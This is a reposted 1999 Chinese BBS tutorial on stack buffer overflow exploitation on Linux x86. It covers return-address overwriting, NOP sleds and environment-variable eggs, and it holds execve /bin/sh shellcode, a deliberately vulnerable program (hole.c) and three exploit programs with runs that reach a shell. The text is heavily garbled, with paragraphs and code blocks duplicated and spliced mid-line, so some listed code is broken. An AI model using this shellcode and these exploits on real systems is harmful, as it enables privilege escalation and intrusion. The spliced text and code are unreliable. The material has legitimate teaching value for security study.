缓冲区溢出的原理

来源:互联网 发布:mac版尘埃3闪退 编辑:程序博客网 时间:2024/04/28 13:09

BBS水木清华站∶精华区

发信人: yyh (阿欢&2000年终于快到了), 信区: Linux        
标  题: isbase技术指南(一)-缓冲溢出,  
发信站: BBS 水木清华站 (Sun Dec 12 22:08:30 1999) 
 
标  题: isbase技术指南(一) 
-------------[ 绪论 
在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语 
言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。 
-------------[ 存储器结构 
(Memory organization)存储器分为3个部分 
1. 文本区域(程序区) 
这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的 
操作都将导致错误. 
2. 数据区域 
这个部分存储静态变量,它的大小可以由brk()系统调用来改变. 
3. 堆栈 
堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆 
-------------[ 绪论 
在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语 
言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。 
-------------[ 存储器结构 
(Memory organization)存储器分为3个部分 
1. 文本区域(程序区) 
这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的 
操作都将导致错误. 
2. 数据区域 
这个部分存储静态变量,它的大小可以由brk()系统调用来改变. 
3. 堆栈 
堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆 
栈的。在计算机科学里,这就是通常所指的后进先出(LIFO).堆栈是被设计 
用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这 
点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用 
点的,返回地址在过程被调用之前就被设置在堆栈中. 
它也被用来动态分配函数中的变量,以及函数的参数和返回值. 
-------------[ 返回地址和指令指针 
计算机执行一条指令,并保留指向下一条指令的指针(IP).当函数或过程被调用 
的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET). 执行完成后, 
RET将会替换IP,程序接着继续执行本来的流程. 
-------------[ 一个缓冲溢出 
让我们用一个例子来说明以下缓冲溢出. 
<++> buffer/example.c 
void main(){ 
char big_string[100]; 
char small_string[50]; 
memset(big_string,0x41,100); 
/* strcpy(char *to,char *from) */ 
strcpy(small_string,big_string);} 
<--> end of example.c 
这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A). 
然后它将big_string加到small_string中.很明显,数组small_string不能容纳 
100个字符,因此,溢出产生. 
接下来我们看看存储器中的变化情况: 
[ big_string ] [ small_string ] [SFP] [RET] 
在溢出中,SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉. 
这就意味着RET要变为0x41414141(0x41是A十六进制的值). 当函数被返回的时候,指 
令指针(Instruction Pointer)将会被已经复写了的RET替换. 接着,计算机会试着去 
执行在0x41414141处的指令. 这将会导致段冲突,因为这个地址已经超出了处理范围. 
--------------------[ 发掘漏洞 
现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下. 
不是用A来覆盖,而是用一些特别的地址来达到我们的目的. 
------------[ 任意代码的执行 
现在我们需要一些东西来指向地址并执行. 在大多数情况下,我们需要产生一个 
shell,当然这不是唯一的方法. 
Before: 
FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF 
B = the buffer 
E = stack frame pointer 
R = return address 
F = other data 
After: 
FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF 
S = shellcode 
A = address pointing to the shellcode 
F = other data 
用C来产生shell的代码如下: 
<++> buffer/shell.c 
void main(){ 
char *name[2]; 
name[0] = "/bin/sh"; 
name[1] = 0x0; 
execve(name[0], name, 0x0); 
exit(0); 

<--> end of shellcode 
这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的 
知识.那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用.对于那 
些想知道如何产生的人来说,可以根据以下的步骤来完成: 
- 用 -static flag 开关来编译上面的程序 
- 用GDB来打开上面的程序,然后用"disassemble main" 命令 
- 去掉所有不必要的代码 
- 用汇编来重写它 
- 编译,然后再用GDB打开,用 "disassemble main" 命令 
- 在指令地址使用 x/bx 命令,找回 hex-code. 
或者你可以使用这些代码 
char shellcode[]= 
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"; 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"; 
------------[ 寻找地址 
当我们尝试去溢出一个程序的缓冲区的时候, 这个程序要寻找这个缓冲区的地址. 
这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知 
道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了. 
下面这个程序会告诉我们这个程序的的堆栈指针: 
- 去掉所有不必要的代码 
- 用汇编来重写它 
- 编译,然后再用GDB打开,用 "disassemble main" 命令 
- 在指令地址使用 x/bx 命令,找回 hex-code. 
或者你可以使用这些代码 
char shellcode[]= 
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"; 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"; 
------------[ 寻找地址 
当我们尝试去溢出一个程序的缓冲区的时候, 这个程序要寻找这个缓冲区的地址. 
这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知 
道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了. 
下面这个程序会告诉我们这个程序的的堆栈指针: 
<++> buffer/getsp.c 
unsigned long get_sp(void){ 
__asm__("movl %esp, %eax); 

void main(){ 
fprintf(stdout,"0x%x/n",get_sp()); 

<--> end of getsp.c 
------------[试一下下面这个例子 
<++> buffer/hole.c 
void main(int argc,char **argv[]){ 
char buffer[512]; 
if (argc > 1) /* otherwise we crash our little program */ 
strcpy(buffer,argv[1]); 

<--> end of hole.c 
<++> buffer/exploit1.c 
#include <stdlib.h> 
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512 
char shellcode[] = 
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"; 
unsigned long get_sp(void) { 
__asm__("movl %esp,%eax"); 

void main(int argc, char *argv[]) 

char *buff, *ptr; 
long *addr_ptr, addr; 
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
int i; 
if (argc > 1) bsize = atoi(argv[1]); 
if (argc > 2) offset = atoi(argv[2]); 
if (!(buff = malloc(bsize))) { 
printf("Can't allocate memory./n"); 
exit(0); 

addr = get_sp() - offset; 
printf("Using address: 0x%x/n", addr); 
ptr = buff; 
addr_ptr = (long *) ptr; 
for (i = 0; i < bsize; i+=4) 
*(addr_ptr++) = addr; 
ptr += 4; 
for (i = 0; i < strlen(shellcode); i++) 
*(ptr++) = shellcode[i]; 
buff[bsize - 1] = '/0'; 
memcpy(buff,"BUF=",4); 
putenv(buff); 
system("/bin/bash"); 

<--> end of exploit1.c 
现在我们可以猜出offset (bufferaddress = stackpointer + offset). 
[hosts]$ exploit1 600 
Using address: 0xbffff6c3 
[hosts]$ ./hole $BUF 
[hosts]$ exploit1 600 100 
Using address: 0xbffffce6 
[hosts]$ ./hole $BUF 
segmentation fault 
etc. 
etc. 
就象你所知道的那样,这个过程几乎是不可能发生的, 这样,我们不得不去猜出 
更精确的溢出地址. 为了增加我们的机会, 我们可以在我们的缓冲溢出的shellcode 
前加上 NOP(空操作)指令. 因为我们没有必要去猜出它精确的溢出地址来. 
而NOP指令用来延迟执行的.如果这个被覆写的返回地址指针在NOP串中,我们的代码 
就可以在下面一步执行了. 
存储器的内容应该是这样的: 
FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF 
N = NOP 
S = shellcode 
A = address pointing to the shellcode 
F = other data 
我们把原先的代码改了一下. 
<++> buffer/exploit2.c 
#include <stdlib.h> 
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512 
#define NOP 0x90 
char shellcode[] = 
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"; 
unsigned long get_sp(void) { 
__asm__("movl %esp,%eax"); 

void main(int argc, char *argv[]) 

char *buff, *ptr; 
long *addr_ptr, addr; 
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
int i; 
if (argc > 1) bsize = atoi(argv[1]); 
if (argc > 2) offset = atoi(argv[2]); 
if (!(buff = malloc(bsize))) { 
printf("Can't allocate memory./n"); 
exit(0); 

addr = get_sp() - offset; 
printf("Using address: 0x%x/n", addr); 
ptr = buff; 
addr_ptr = (long *) ptr; 
for (i = 0; i < bsize; i+=4) 
*(addr_ptr++) = addr; 
for (i = 0; i < bsize/2; i++) 
buff[i] = NOP; 
ptr = buff + ((bsize/2) - (strlen(int i; 
if (argc > 1) bsize = atoi(argv[1]); 
if (argc > 2) offset = atoi(argv[2]); 
if (!(buff = malloc(bsize))) { 
printf("Can't allocate memory./n"); 
exit(0); 

addr = get_sp() - offset; 
printf("Using address: 0x%x/n", addr); 
ptr = buff; 
addr_ptr = (long *) ptr; 
for (i = 0; i < bsize; i+=4) 
*(addr_ptr++) = addr; 
for (i = 0; i < bsize/2; i++) 
buff[i] = NOP; 
ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); 
for (i = 0; i < strlen(shellcode); i++) 
*(ptr++) = shellcode[i]; 
buff[bsize - 1] = '/0'; 
memcpy(buff,"BUF=",4); 
putenv(buff); 
system("/bin/bash"); 

<--> end of exploit2.c 
[hosts]$ exploit2 600 
Using address: 0xbffff6c3 
[hosts]$ ./hole $BUF 
segmentation fault 
[hosts]$ exploit2 600 100 
Using address: 0xbffffce6shellcode)/2)); 
for (i = 0; i < strlen(shellcode); i++) 
*(ptr++) = shellcode[i]; 
buff[bsize - 1] = '/0'; 
memcpy(buff,"BUF=",4); 
putenv(buff); 
system("/bin/bash"); 

<--> end of exploit2.c 
[hosts]$ exploit2 600 
Using address: 0xbffff6c3 
[hosts]$ ./hole $BUF 
segmentation fault 
[hosts]$ exploit2 600 100 
Using address: 0xbffffce6 
[hosts]$ ./hole $BUF 
#exit 
[hosts]$ 
为了更完善我们的代码, 我们把这些shellcode放到环境变量里去. 然后我们就 
可以用这个变量的地址来溢出缓冲器了. 这方法可以增加我们的机会.用setenv()函 
数来调用,并把shell[hosts]$ ./hole $BUF 
#exit 
[hosts]$ 
为了更完善我们的代码, 我们把这些shellcode放到环境变量里去. 然后我们就 
可以用这个变量的地址来溢出缓冲器了. 这方法可以增加我们的机会.用setenv()函 
数来调用,并把shellcode送到环境变量中去. 
<++> buffer/exploit3.c 
#include <stdlib.h> 
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512 
#define DEFAULT_EGG_SIZE 2048 
[hosts]$ exploit2 600 100 
Using address: 0xbffffce6 
[hosts]$ ./hole $BUF 
#exit 
[hosts]$ 
为了更完善我们的代码, 我们把这些shellcode放到环境变量里去. 然后我们就 
可以用这个变量的地址来溢出缓冲器了. 这方法可以增加我们的机会.用setenv()函 
数来调用,并把shell[hosts]$ ./hole $BUF 
#exit 
[hosts]$ 
为了更完善我们的代码, 我们把这些shellcode放到环境变量里去. 然后我们就 
可以用这个变量的地址来溢出缓冲器了. 这方法可以增加我们的机会.用setenv()函 
数来调用,并把shellcode送到环境变量中去. 
<++> buffer/exploit3.c 
#include <stdlib.h> 
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512 
#define DEFAULT_EGG_SIZE 2048 
#define NOP 0x90 
char shellcode[] = 
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"; 
unsigned long get_esp(void) { 
__asm__("movl %esp,%eax"); 

void main(int argc, char *argv[]) 

char *buff, *ptr, *egg; 
long *addr_ptr, addr; 
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
int i, eggsize=DEFAULT_EGG_SIZE; 
if (argc > 1) bsize = atoi(argv[1]); 
if (argc > 2) offset = atoi(argv[2]); 
if (argc > 3) eggsize = atoi(argv[3]); 
if (!(buff = malloc(bsize))) { 
printf("Can't allocate memory./n"); 
exit(0);code送到环境变量中去. 
<++> buffer/exploit3.c 
#include <stdlib.h> 
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512 
#define DEFAULT_EGG_SIZE 2048 
#define NOP 0x90 
char shellcode[] = 
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"; 
unsigned long get_esp(void) { 
__asm__("movl %esp,%eax"); 

void main(int argc, char *argv[]) 
if (!(buff = malloc(bsize))) { 
printf("Can't allocate memory./n"); 
exit(0);code送到环境变量中去. 
<++> buffer/exploit3.c 
#include <stdlib.h> 
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512 
#define DEFAULT_EGG_SIZE 2048 
#define NOP 0x90 
char shellcode[] = 
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"; 
unsigned long get_esp(void) { 
__asm__("movl %esp,%eax"); 

void main(int argc, char *argv[]) 

char *buff, *ptr, *egg; 
long *addr_ptr, addr; 
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
int i, eggsize=DEFAULT_EGG_SIZE; 
if (argc > 1) bsize = atoi(argv[1]); 
if (argc > 2) offset = atoi(argv[2]); 
if (argc > 3) eggsize = atoi(argv[3]); 
if (!(buff = malloc(bsize))) { 
printf("Can't allocate memory./n"); 
exit(0); 

if (!(egg = malloc(eggsize))) { 
printf("Can't allocate memory./n"); 
exit(0); 

addr = get_esp() - offset; 
printf("Using address: 0x%x/n", addr); 
ptr = buff; 
addr_ptr = (long *) ptr; 
for (i = 0; i} 
if (!(egg = malloc(eggsize))) { 
printf("Can't allocate memory./n"); 
exit(0); 

addr = get_esp() - offset; 
printf("Using address: 0x%x/n", addr); 
ptr = buff; 
addr_ptr = (long *) ptr; 
for (i = 0; i < bsize; i+=4) 
*(addr_ptr++) = addr; 
ptr = egg; 
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) 
*(ptr++) = NOP; 
for (i = 0; i < strlen(shellcode); i++) 
*(ptr++) = shellcode[i]; 
buff[bsize - 1] = '/0'; 
egg[eggsize - 1] = '/0'; 
memcpy(egg,"BUF=",4); 
putenv(egg); 
memcpy(buff,"RET=",4); 
putenv(buff); 
system("/bin/bash"); 

end of exploit3.c 
[hosts]$ exploit2 600 
Using address: 0xbffff5d7 
[hosts]$ ./hole $RET 
#exit 
[hosts]$ 
--------------------[ 寻找溢出 
当然有能更准确找到缓冲溢出的方法, 那就是读它的源程序. 因为Linux是个开 
放的系统, 你很容易就可以得到它的源程序. < bsize; i+=4) 
*(addr_ptr++) = addr; 
ptr = egg; 
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) 
*(ptr++) = NOP; 
for (i = 0; i < strlen(shellcode); i++) 
*(ptr++) = shellcode[i]; 
buff[bsize - 1] = '/0'; 
egg[eggsize - 1] = '/0'; 
memcpy(egg,"BUF=",4); 
putenv(egg); 
memcpy(buff,"RET=",4); 
putenv(buff); 
system("/bin/bash"); 

end of exploit3.c 
[hosts]$ exploit2 600 
Using address: 0xbffff5d7 
[hosts]$ ./hole $RET 
#exit 
[hosts]$ 
--------------------[ 寻找溢出 
当然有能更准确找到缓冲溢出的方法, 那就是读它的源程序. 因为Linux是个开 
放的系统, 你很容易就可以得到它的源程序. 
寻找没有边界校验的库函数调用,如: 
strcpy(), strcat(), sprintf(), vsprintf(), scanf(). 
其他的具有危险的函数如: 
在"当型"循环中的getc()和getchar(). 
strncat函数的错误使用。 
--------------------[ 参考文献 
Smashing the stack for fun and profit by aleph1 
bufferoverflows by mudge 
**************************************************** 
by Lamagra             access-granted@geocities.com> 
repaired by solo       <soloist@188.net> 
Copyright by isbase    http://www.isbase.com/ 
**************************************************** 
如要转载请保持文章的完整性 
欢迎访问我们的站点http://www.isbase.com 
绿色兵团给你安全的保证 
 
-- 
※ 来源:·BBS 水木清华站 bbs.net.tsinghua.edu.cn·[FROM: 162.105.17.237] 

BBS水木清华站∶精华区



版权声明:CSDN是本Blog托管服务提供商。如本文牵涉版权问题,CSDN不承担相关责任,请版权拥有者直接与文章作者联系解决。